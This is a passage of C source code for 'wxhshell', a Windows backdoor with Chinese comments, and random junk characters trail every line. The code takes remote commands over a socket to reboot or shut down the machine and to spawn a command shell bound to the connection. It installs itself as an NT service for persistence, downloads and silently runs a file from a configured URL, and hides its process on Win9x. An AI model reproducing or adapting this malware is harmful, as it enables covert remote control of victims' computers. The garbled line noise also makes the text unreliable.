    switch(cmd[0]) { ]zI*}(adu  
  %htwq]rZd  
  // 帮助 $7p0<<Nck  
  case '?': { 6dRvx;d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ls&-8  
    break; 1W7ClT_cQ  
  } UxnZA5Lk*  
  // 安装 iq5-eJmq  
  case 'i': { d 0:;IUG  
    if(Install()) x. /WP~I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {=+'3p  
    else C0&ZQvvy1:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Q$/L+uJ5  
    break; jori,"s  
    } MO|8A18B  
  // 卸载 RuOse9  
  case 'r': { zOis}$GR  
    if(Uninstall()) w1+ %+x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B06W(y,3Q>  
    else 2Xv$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z5"5Ge-M  
    break; F2Mxcs* M  
    } 6vg` 8  
  // 显示 wxhshell 所在路径 2WB`+oWox  
  case 'p': { H9[0-Ur5  
    char svExeFile[MAX_PATH]; 0fN; L;v  
    strcpy(svExeFile,"\n\r"); W O'nW  
      strcat(svExeFile,ExeFile); 5#dJga/88  
        send(wsh,svExeFile,strlen(svExeFile),0); 43!E>mq  
    break; $]J<^{v  
    } Pt/F$A{Cj  
  // 重启 >|1-o;UU  
  case 'b': { ;/!o0:m^I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wjHH%y  
    if(Boot(REBOOT))  $kxu-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H2yPVJ\Y)"  
    else { Ru$%gh>v  
    closesocket(wsh); <lRjh7  
    ExitThread(0); zOYG`:/'  
    } s6Il3K f  
    break; SgQ(#y|vV  
    } 3s#/d,+  
  // 关机 JHJ]BMm  
  case 'd': { mJsU7bD`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p &i+i  
    if(Boot(SHUTDOWN)) 4p>,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |W5lhx0U  
    else { .RWq!Z=)3  
    closesocket(wsh); pV$A?b"?*  
    ExitThread(0); RP9~n)h~b  
    } U[hokwZ  
    break; .i1|U8"X  
    } O{EbL5p  
  // 获取shell 5-:H  
  case 's': { U/-|hfh  
    CmdShell(wsh); fbJa$  
    closesocket(wsh); A" IaFXB  
    ExitThread(0); 8TYoa:pZ  
    break; ]G,BSttD  
  } CT (HTu  
  // 退出 ~oRT@E  
  case 'x': { '2SZ]   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y/"CWD/i  
    CloseIt(wsh); jOL=vG  
    break; \\Nt^j3qR  
    } nE4rB\  
  // 离开 &H2j3De  
  case 'q': { UK .=Y9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sb`SJ):x  
    closesocket(wsh); iAXF;'|W  
    WSACleanup(); uC2qP)m,^  
    exit(1); g ~%IA.$c  
    break; q'%!qa+  
        } hfs QAa  
  } e<"sZK  
  } 1czU$!MV  
'<AE%i,  
  // 提示信息 sfsK[c5bm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +B4i,]lCx  
} #/)U0 IR)  
  } Kp6%=JjO  
\4uj!LgTb  
  return; >dwY( a  
} T )bMHk  
@ZtvpL}e  
// shell模块句柄 ^vTp.7o~5  
int CmdShell(SOCKET sock) }1NNXxQ  
{ MgH O WoF  
STARTUPINFO si; h-\+# .YP  
ZeroMemory(&si,sizeof(si)); gY_AO1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #YSFiy:+r_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cq8JpSB(  
PROCESS_INFORMATION ProcessInfo; y>ePCDR3  
char cmdline[]="cmd"; "}:SXAZ5`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2D"aAI<P  
  return 0; [\=1|t5n~  
} ^C;ULUn3  
5B;;{GR  
// 自身启动模式 O*c<m,  
int StartFromService(void) MkM`)g 5  
{ C%"aj^u  
typedef struct D~ 7W  
{ l2kUa'O-  
  DWORD ExitStatus; 9M@,BXOt  
  DWORD PebBaseAddress; `Cz_^>]|=  
  DWORD AffinityMask; l <yYfGO  
  DWORD BasePriority; c=p!2jJ1K~  
  ULONG UniqueProcessId; HaQox.v%  
  ULONG InheritedFromUniqueProcessId; <6C:\{eo  
}   PROCESS_BASIC_INFORMATION; mH )i  
)-\qo#0l  
PROCNTQSIP NtQueryInformationProcess; S4 s#EDs  
U=[isi+7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bx|h)e9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; igF<].'V  
t_\&LMD  
  HANDLE             hProcess; 1?,C d  
  PROCESS_BASIC_INFORMATION pbi; 2j$~lI  
WLCr~r^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i>(TPj|  
  if(NULL == hInst ) return 0; Xi!e=5&Pa  
 J {$c|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l$m}aQ%h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e /L([  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c,}VC-  
rv2;)3/*  
  if (!NtQueryInformationProcess) return 0; j2mMm/kq\  
}Zfi/^0U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0+AMN-  
  if(!hProcess) return 0; 8( bK\-b  
@QF;m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A| y U'k  
C2 yJ Xi`$  
  CloseHandle(hProcess); IaO*{1re  
Bq tN=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <|hrmwk|  
if(hProcess==NULL) return 0; w7f)v\p  
j3j^cO[8v  
HMODULE hMod; Y[W] YPs  
char procName[255]; n D}<zj$D2  
unsigned long cbNeeded; j_S3<wEJ  
[C@ Ro,mI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w{GEWD{&  
'h[7AZ&)#  
  CloseHandle(hProcess); 38%"#T3#  
NWj4U3x  
if(strstr(procName,"services")) return 1; // 以服务启动 15MKV=?oY  
D!i|KI/  
  return 0; // 注册表启动 zbfe=J4c  
} YB(8 T"  
Sp]ov:]%f  
// 主模块 ^}lL@Bd|  
int StartWxhshell(LPSTR lpCmdLine) .GWN~iR(  
{ 8yM8O #S  
  SOCKET wsl; 4I2#L+W  
BOOL val=TRUE; rY)m"'puP  
  int port=0; zR?1iV.]  
  struct sockaddr_in door; TJuS)AZ C  
3M>y.MS  
  if(wscfg.ws_autoins) Install(); s:I 8~Cc  
D2zqDo<+;  
port=atoi(lpCmdLine); EW/NH&{  
<ILi38%Y  
if(port<=0) port=wscfg.ws_port; M`xI N~  
l>)+HoD  
  WSADATA data; &+GbklUB~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :)Da^V  
(V"7H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i'}"5O+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,.&D{ $1W  
  door.sin_family = AF_INET; U[:Js@uH_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >uE<-klv  
  door.sin_port = htons(port); {(h!JeQ  
h{ eQ\iI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1h`#H:  
closesocket(wsl); LtNspFoLb  
return 1; oOGFg3X  
} s*vtCdrE.  
OGW0lnQ/  
  if(listen(wsl,2) == INVALID_SOCKET) { q'jInwY|x  
closesocket(wsl); N]G`]  
return 1; XOEf,"  
} :BblH0'  
  Wxhshell(wsl); U)1hC^[!   
  WSACleanup(); SnoEi~Da  
&CfzhIi*!  
return 0; H)K.2Q  
A$TF a:O|  
} >9[wjB2?}  
I2?g'tz  
// 以NT服务方式启动 +sXnC\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hxGo~<. :  
{ Hlj3z3  
DWORD   status = 0; ^_o:Ddz?l"  
  DWORD   specificError = 0xfffffff; dkZ[~hEQG-  
PH!rWR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?#L5V'ZZ*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qa1G0qMEIF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p0HcuB)Y  
  serviceStatus.dwWin32ExitCode     = 0; ['I5(M@  
  serviceStatus.dwServiceSpecificExitCode = 0; QW&@>i  
  serviceStatus.dwCheckPoint       = 0; i.+#a2   
  serviceStatus.dwWaitHint       = 0; >F/5`=/'h  
['l}*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fJn4'Q*U  
  if (hServiceStatusHandle==0) return; m_UzmWF  
Y>K3.*.  
status = GetLastError(); lI+KT_|L  
  if (status!=NO_ERROR) aMyf|l.  
{ 1VG7[#Zy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7[(<t+  
    serviceStatus.dwCheckPoint       = 0; \p!mX|  
    serviceStatus.dwWaitHint       = 0; #:nds,   
    serviceStatus.dwWin32ExitCode     = status; ]ov"&,J  
    serviceStatus.dwServiceSpecificExitCode = specificError; AHTQF#U^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _^Q =n>G  
    return; Z'y:r2{ql  
  } y;tX`5(fe  
2tdr1+U?g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L(3} H,t  
  serviceStatus.dwCheckPoint       = 0; C?PgC~y)  
  serviceStatus.dwWaitHint       = 0; [\)irCDv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vxim$'x!  
} XNB4KjT  
U9yR~pw  
// 处理NT服务事件,比如:启动、停止 QCvst*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :JG2xtn  
{ |dk9/xdX  
switch(fdwControl) yA-UXKT  
{ [214b=  
case SERVICE_CONTROL_STOP: {b26DKkQS  
  serviceStatus.dwWin32ExitCode = 0; @m ?&7{y#?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qeoj  
  serviceStatus.dwCheckPoint   = 0; OEj%cB!  
  serviceStatus.dwWaitHint     = 0; =VDtZSa!$^  
  { t+ O7dZt%r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x-ZCaa}O  
  } OwG:+T_  
  return; atjrn:X  
case SERVICE_CONTROL_PAUSE: "%{J$o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N+0`Jm  
  break; /? HLEX  
case SERVICE_CONTROL_CONTINUE: ~0XV[$`L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _;`g*Kx  
  break; **lT ' D  
case SERVICE_CONTROL_INTERROGATE: 8i?h{G IMV  
  break; ttC+`0+H  
}; dnUiNs8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9x[|75}l  
} A;#GU`  
A]"IQ-  
// 标准应用程序主函数 vd!|k5t[d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qox31pnS  
{ \Dn an5H/  
Zp*0%x!e  
// 获取操作系统版本 L BP|  
OsIsNt=GetOsVer(); E;C=V2#>[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !aub@wH3  
[X|KXlNfm  
  // 从命令行安装 9a0ibN6m  
  if(strpbrk(lpCmdLine,"iI")) Install(); SRf .8j  
$+.!(Js"K  
  // 下载执行文件 - Ado-'aaS  
if(wscfg.ws_downexe) { orzy &4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v22ZwP  
  WinExec(wscfg.ws_filenam,SW_HIDE); F),wj8#~>-  
} 2 .)`8|c9  
2pQdDbm  
if(!OsIsNt) { >X!A/; $  
// 如果时win9x,隐藏进程并且设置为注册表启动 SvD^'( x  
HideProc(); lwuslt*E/  
StartWxhshell(lpCmdLine); ' ;PHuMY#X  
} z4 yV1  
else C0@[4a$8f  
  if(StartFromService()) YjM_8@ <  
  // 以服务方式启动 )0W-S9e<  
  StartServiceCtrlDispatcher(DispatchTable); nd/.]"  
else :pZWFJ34{  
  // 普通方式启动 d*{NAq'9X  
  StartWxhshell(lpCmdLine); f~NGIlgR  
ayvHS&h  
return 0; QirS=H+~  
}
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只看该作者 1 发表于: 2006-10-10
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